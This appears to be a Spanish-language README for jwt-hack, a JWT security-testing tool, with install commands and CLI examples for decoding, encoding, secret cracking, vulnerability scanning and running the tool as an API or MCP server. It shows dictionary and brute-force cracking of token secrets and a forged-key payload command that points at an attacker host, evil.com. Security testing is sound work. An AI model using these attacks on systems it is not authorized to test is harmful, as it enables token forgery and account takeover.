
Kit de herramientas de hackeo de JSON Web Token
Kit de herramientas para hackear JSON Web Tokens
Un kit de herramientas de alto rendimiento para probar, analizar y atacar JSON Web Tokens.
cargo install jwt-hack
brew install jwt-hack
sudo snap install jwt-hack
choco install jwt-hack
git clone https://github.com/hahwul/jwt-hack
cd jwt-hack
cargo install --path .
docker pull ghcr.io/hahwul/jwt-hack:latest
docker pull hahwul/jwt-hack:v2.6.0
| Modo | Descripción | Soporte |
|---|---|---|
| Encode | Codificador JWT/JWE | Basado en secreto / Basado en clave / Algoritmo / Cabecera personalizada / Compresión DEFLATE / JWE |
| Decode | Decodificador JWT/JWE | Algoritmo, Verificación de emisión, Compresión DEFLATE, Estructura JWE |
| Verify | Verificador de JWT | Basado en secreto / Basado en clave (para algoritmos asimétricos) |
| Crack | Descifrador de secretos | Ataque de diccionario / Fuerza bruta / Compresión DEFLATE |
| Payload | Generador de payloads de ataque JWT | none / jku&x5u / alg_confusion (firmado mediante --public-key) / inyección de kid y claims / manipulación de claims / maleabilidad de firma / sondas JWE / x5c / cty |
| Scan | Escáner de vulnerabilidades | Comprobaciones de seguridad automatizadas para vulnerabilidades comunes de JWT |
| Server | Servidor API | Ejecutar el modo Servidor API (http://localhost:3000) |
| MCP | Servidor de Protocolo de Contexto de Modelo | Integración de modelos de IA mediante protocolo estandarizado |
Puedes decodificar tanto JWTs normales como comprimidos con DEFLATE. La herramienta detectará y descomprimirá automáticamente los tokens comprimidos.
jwt-hack decode eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0In0.CHANGED
jwt-hack decode COMPRESSED_JWT_TOKEN
Decodifica tokens JWE (JSON Web Encryption) para analizar su estructura. La herramienta detecta automáticamente el formato JWE (5 partes) y muestra los detalles de cifrado.
# Decodificar la estructura del token JWE
jwt-hack decode eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIn0..ZHVtbXlfaXZfMTIzNDU2.eyJ0ZXN0IjoiandlIn0.ZHVtbXlfdGFn
# Muestra la cabecera JWE, la clave cifrada, el IV, el texto cifrado y la etiqueta de autenticación
jwt-hack encode '{"sub":"1234"}' --secret=your-secret
Puedes usar la opción --compress para aplicar compresión DEFLATE al payload del JWT.
jwt-hack encode '{"sub":"1234"}' --secret=your-secret --compress
# Con clave privada
ssh-keygen -t rsa -b 4096 -E SHA256 -m PEM -P "" -f RS256.key
jwt-hack encode '{"a":"z"}' --private-key RS256.key --algorithm=RS256
Crea tokens JWE (JSON Web Encryption) para probar escenarios de JWT cifrados.
# Codificación JWE básica
jwt-hack encode '{"sub":"1234", "data":"encrypted"}' --jwe --secret=your-secret
# Los tokens JWE están cifrados y solo pueden descifrarse con la clave adecuada
jwt-hack encode '{"sensitive":"data"}' --jwe
Comprueba si la firma de un JWT es válida usando el secreto o la clave proporcionados.
# Con secreto (algoritmos HMAC como HS256, HS384, HS512)
jwt-hack verify YOUR_JWT_TOKEN_HERE --secret=your-256-bit-secret
# Con clave privada (para algoritmos asimétricos como RS256, ES256, EdDSA)
jwt-hack verify YOUR_JWT_TOKEN_HERE --private-key path/to/your/RS256_private.key
Los ataques de diccionario y de fuerza bruta también admiten JWTs comprimidos con DEFLATE.
# Ataque de diccionario
jwt-hack crack -w wordlist.txt JWT_TOKEN
jwt-hack crack -w wordlist.txt COMPRESSED_JWT_TOKEN
# Ataque de fuerza bruta
jwt-hack crack -m brute JWT_TOKEN --max=4
jwt-hack crack -m brute COMPRESSED_JWT_TOKEN --max=4
jwt-hack payload JWT_TOKEN --jwk-attack evil.com --jwk-trust trusted.com
Escanea automáticamente tokens JWT en busca de problemas de seguridad y vulnerabilidades comunes.
# Escaneo completo, incluyendo detección de secretos débiles y generación de payloads
jwt-hack scan JWT_TOKEN
# Omitir el crackeo de secretos para obtener resultados más rápidos
jwt-hack scan JWT_TOKEN --skip-crack
# Omitir la generación de payloads
jwt-hack scan JWT_TOKEN --skip-payloads
# Usar una wordlist personalizada para la detección de secretos débiles
jwt-hack scan JWT_TOKEN -w custom_wordlist.txt
# Limitar los intentos de prueba de secretos
jwt-hack scan JWT_TOKEN --max-crack-attempts 50
El comando scan comprueba lo siguiente:
Inicia una API REST local para automatización e integraciones. Para requerir autenticación, usa --api-key e incluye X-API-KEY en las peticiones.
# Iniciar en localhost:3000 con protección por API key
jwt-hack server --api-key your-api-key
# Petición de ejemplo (debe incluir X-API-KEY cuando se establece --api-key)
curl -s http://127.0.0.1:3000/health -H 'X-API-KEY: your-api-key'
jwt-hack puede ejecutarse como servidor MCP, permitiendo que los modelos de IA interactúen con la funcionalidad JWT mediante un protocolo estandarizado.
# Iniciar el servidor MCP (se comunica mediante stdio)
jwt-hack mcp
El servidor MCP expone las siguientes herramientas: